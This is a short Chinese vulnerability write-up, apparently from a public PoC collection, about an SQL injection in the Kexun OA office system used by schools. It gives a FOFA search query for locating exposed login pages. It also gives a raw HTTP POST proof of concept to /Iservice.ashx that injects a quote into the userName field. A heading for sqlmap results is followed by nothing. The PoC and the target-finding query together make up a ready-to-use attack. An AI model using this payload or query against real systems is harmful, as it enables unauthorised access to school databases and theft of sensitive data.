科迅OA办公系统存在SQL注入漏洞

漏洞描述
 安徽科迅教育装备20年来来始终坚持智慧校园集成方案产品的开发和部署应用，我们有完善的智慧校园和数字校园建设方案，根据不同的学校不同的实际情况量身定做系统集成方案。产品主要是为了实现校园的智慧网络、智慧OA、智慧教学、智慧学习、数字医疗、智慧安防、智慧平台、校园一卡通智慧结算等。科迅OA办公系统存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。

FOFA:

body="科迅OA办公系统 - 用户登陆"

漏洞复现

 POC:

POST /Iservice.ashx?op=LoginFSYZM HTTP/1.1
Host: 
Content-Length: 30
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: CheckCode=3345
Connection: keep-alive

userName=admin'&userPwd=111111

sqlmap结果